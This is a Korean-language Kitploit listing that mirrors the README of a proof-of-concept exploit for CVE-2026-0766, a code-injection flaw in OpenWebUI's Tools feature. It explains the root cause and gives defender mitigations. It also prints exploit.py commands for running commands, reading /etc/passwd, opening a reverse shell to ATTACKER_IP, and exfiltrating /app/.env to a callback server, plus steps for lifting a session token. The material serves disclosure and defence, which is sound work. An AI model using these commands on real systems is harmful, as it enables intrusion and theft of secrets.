Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0766 — CVE-2026-0766에 대한 개념 증명 익스플로잇으로, OpenWebUI의 도구 코드 주입을 통한 원격 코드 실행 취약점입니다. 명령 실행, 파일 읽기, 리버스 셸, 블라인드 데이터 유출 모드를 포함합니다. | Kitploit
도구/GitHubGitHub/bitt0n/cve-2026-0766
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

CVE-2026-0766에 대한 개념 증명 익스플로잇으로, OpenWebUI의 도구 코드 주입을 통한 원격 코드 실행 취약점입니다. 명령 실행, 파일 읽기, 리버스 셸, 블라인드 데이터 유출 모드를 포함합니다.

저장소 보기
45개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0766: OpenWebUI 원격 코드 실행

교육용 보안 연구 저장소

이 저장소는 ZDI(Zero Day Initiative) 가 발견하고 공개한 OpenWebUI의 원격 코드 실행 취약점인 CVE-2026-0766 에 대한 개념 증명(PoC) 악용 코드를 포함하고 있습니다.


⚠️ 면책 조항

이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다.

  • 이 코드는 자신의 시스템 또는 테스트에 대한 명시적 승인을 받은 시스템에서만 사용하십시오.
  • LLM 플랫폼 보안 취약점에 대한 학습 목적으로만 사용하십시오.
  • ❌ 명시적 허가 없이 시스템을 대상으로 절대 사용하지 마십시오.
  • ❌ 승인되지 않은 컴퓨터 시스템 접근은 불법입니다.

저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다. 사용자는 자신의 활동이 모든 관련 법률 및 규정을 준수하는지 확인할 전적인 책임이 있습니다.


📋 취약점 개요

속성값
CVE IDCVE-2026-0766
발견자ZDI(Zero Day Initiative)
영향을 받는 소프트웨어OpenWebUI
취약점 유형코드 인젝션 (CWE-94)
CVSS 점수8.8 HIGH
CVSS 벡터AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
공격 복잡성낮음 (인증된 관리자 또는 도구 생성/업데이트 권한이 있는 사용자가 악용 가능)

OpenWebUI란?

OpenWebUI는 대규모 언어 모델(LLM)을 위한 자체 호스팅 웹 인터페이스입니다. 조직이 자체 인프라에서 실행하여 LLM 대화와 데이터를 온프레미스로 유지할 수 있는 ChatGPT 유사 환경을 제공합니다.

취약점

OpenWebUI에는 사용자가 Python 코드를 제출하여 LLM 기능을 확장할 수 있는 "도구(Tools)" 기능이 포함되어 있습니다. 이 코드는 샌드박싱, 검증 또는 보안 제어 없이 Python의 exec() 함수를 통해 서버 측에서 실행됩니다.

악용 흐름:

  1. 인증된 사용자가 POST /api/v1/tools/create를 통해 "도구(Tool)"를 생성합니다.
  2. 사용자가 제공한 Python 코드가 content 필드에 저장됩니다.
  3. 서버가 utils/plugin.py에서 exec(content, module.__dict__)를 호출합니다.
  4. 임의의 Python 코드가 전체 서버 권한으로 실행됩니다.
  5. 공격자가 원격 코드 실행(RCE)을 달성합니다.

핵심 통찰: 코드는 LLM이 도구를 호출할 때가 아니라 도구 생성 시점에 실행됩니다. 즉, 악성 도구를 생성하기만 하면 RCE가 트리거되며 추가 상호 작용이 필요하지 않습니다.

테스트된 버전

이 악용 코드는 다음에서 검증되었습니다:

  • OpenWebUI v0.8.10 - 취약함 ✅ (2026-03-28 테스트)

이 취약점은 구조적(사용자 입력에 대한 안전하지 않은 exec() 사용)이며 OpenWebUI 팀이 보안 패치를 릴리스할 때까지 모든 버전에 존재합니다.


🔍 기술적 세부 사항

근본 원인

취약점은 backend/open_webui/utils/plugin.py에 존재합니다:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # 최소한의 전처리 (보안 제어가 아님)
    content = replace_imports(content)

    # 모듈 생성 및 사용자 코드 실행
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← 취약점

    return module

replace_imports() 함수는 import 경로만 다시 작성합니다(표면적 처리) - 실행할 수 있는 코드를 제한하지 않습니다. 다음이 없습니다:

  • ❌ 샌드박싱 (제한된 실행 환경 없음)
  • ❌ 코드 검증 (AST 검사 또는 허용 목록 없음)
  • ❌ 권한 검사 (기본적으로 모든 인증된 사용자가 도구를 생성할 수 있음)
  • ❌ 권한 분리 (코드가 OpenWebUI 서비스 계정으로 실행됨)

공급업체 대응

OpenWebUI 팀은 처음에 도구 생성에 관리자 권한이 필요하다는 점을 언급하며 이를 낮은 우선순위로 평가했습니다. 그러나:

  1. 권한 위임은 일반적입니다 - 많은 배포 환경에서 파워 유저, 워크스페이스 관리자 및 개발자에게 도구 생성을 부여합니다.
  2. 손상된 관리자 계정 - 피싱, 자격 증명 스터핑 및 SSO 손상으로 공격자가 관리자 액세스 권한을 얻을 수 있습니다.
  3. 심층 방어 위반 - 관리자 작업도 제한되어야 합니다. 제한 없는 코드 실행은 최소 권한 원칙을 위반합니다.
  4. 손상 후 유용성 - 이 취약점은 초기 액세스 후 공격 체인에서 가치가 있습니다.

공급업체가 관리자가 제한된 액세스로 이를 관리해야 한다고 제안한 후, ZDI는 방어자에게 알리기 위해 이를 0-day 취약점(ZDI-26-032)으로 공개했습니다.

저자는 오픈소스 프로젝트 유지의 어려움을 존중합니다. 보안 패치는 사용자 요구, 아키텍처 제약 및 제한된 리소스의 균형을 요구합니다. 이 공개는 보안 팀이 위험을 평가하고 완화 조치를 구현하는 데 도움을 주기 위한 것입니다.


🛠️ 개념 증명

설치

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

사용법

악용 스크립트(exploit.py)는 여러 공격 모드를 지원합니다:

1. 명령 실행

OS 명령을 실행하고 출력을 검색합니다:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. 파일 읽기

서버 파일 시스템에서 파일을 읽습니다:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. 리버스 셸

리버스 셸을 생성합니다 (netcat 리스너 필요):

root@kitploit:~
# 공격자 머신에서:
nc -lvnp 4444

# 악용 코드 실행:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. 블라인드 데이터 유출

명령 출력을 HTTP 콜백 서버로 전송합니다:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

인증

스크립트는 JWT 토큰(SSO 로그인에서)과 API 키를 모두 허용합니다:

JWT 토큰 얻기:

  1. OpenWebUI에 정상적으로 로그인합니다 (SSO 또는 로컬 인증)
  2. 브라우저 DevTools(F12)를 엽니다
  3. 토큰을 찾습니다:
    • Cookies 탭: token 쿠키 값을 찾습니다
    • Network 탭: 모든 API 요청에서 Authorization: Bearer ... 헤더를 복사합니다
    • Console: localStorage.getItem("token")을 실행합니다
  4. 토큰을 스크립트에 전달합니다: --token eyJhbGci...

🔐 완화 조치

방어자를 위한 조치

OpenWebUI를 실행 중이고 즉시 패치할 수 없는 경우:

  1. 도구 생성 권한을 매우 신뢰할 수 있는 관리자에게만 제한합니다
  2. 기존 도구를 감사하여 악성 코드가 있는지 확인합니다 (데이터베이스에서 도구 콘텐츠 확인)
  3. OpenWebUI를 최소 권한으로 실행합니다 (전용 서비스 계정, 가능한 경우 읽기 전용 파일 시스템)
  4. 네트워크 이그레스 필터링을 구현합니다 (컨테이너는 임의의 아웃바운드 액세스 권한이 없어야 함)
  5. 의심스러운 도구 생성을 모니터링합니다 (정상 워크플로우 외부에서 생성된 도구 감시)

권장 수정 사항 (유지 관리자용)

  1. exec()를 안전한 대안으로 교체:

    • 샌드박스 실행을 위해 RestrictedPython 사용
    • Python AST를 파싱하고 안전한 작업의 허용 목록에 대해 검증
    • 격리된 컨테이너(gVisor, Firecracker)에서 도구 코드 실행
  2. 권한 검사 추가:

    • 새 도구에 대한 관리자 승인 요구
    • 도구 생성을 위한 역할 기반 액세스 제어 구현
    • 도구가 활성화되기 전에 코드 검토 워크플로우 추가
  3. 심층 방어:

    • syscall 필터링(seccomp)으로 별도 프로세스에서 도구 실행
    • 파일 시스템 액세스를 읽기 전용으로 제한
    • 도구 실행 환경에서 네트워크 액세스 제거

📚 참고 자료

  • NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • ZDI 권고: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • GitHub 보안 권고: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (코드 인젝션): https://cwe.mitre.org/data/definitions/94.html
  • OWASP 코드 인젝션: https://owasp.org/www-community/attacks/Code_Injection

🙏 크레딧

  • 취약점 발견: ZDI(Zero Day Initiative) - ZDI-26-032 / ZDI-CAN-28257
  • 악용 연구 및 PoC 개발: Pradeep Pillai (@bitt0n)

📜 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하십시오.

이 코드는 교육 및 방어적 보안 목적으로 제공됩니다. 저자는 오용에 대해 책임을 지지 않습니다.


🤝 책임 있는 공개

이 취약점은 책임 있는 방식으로 공개되었습니다:

  1. ZDI가 취약점을 발견하고 OpenWebUI에 보고
  2. 조정된 공개 기간을 공급업체에 패치 기회로 제공
  3. 공급업체가 패치를 거부 (허용 가능한 위험으로 평가)
  4. ZDI가 보안 커뮤니티에 알리기 위해 0-day로 공개
  5. 이 PoC는 공개 후 게시되어 방어자가 위험을 평가할 수 있도록 함

오픈소스 프로젝트에서 보안 취약점을 발견한 경우 책임 있는 공개 관행을 따르고 공개 전에 유지 관리자에게 패치할 시간을 주십시오.


질문 또는 피드백: 이 저장소에 이슈를 열어 주십시오.

도구 다운로드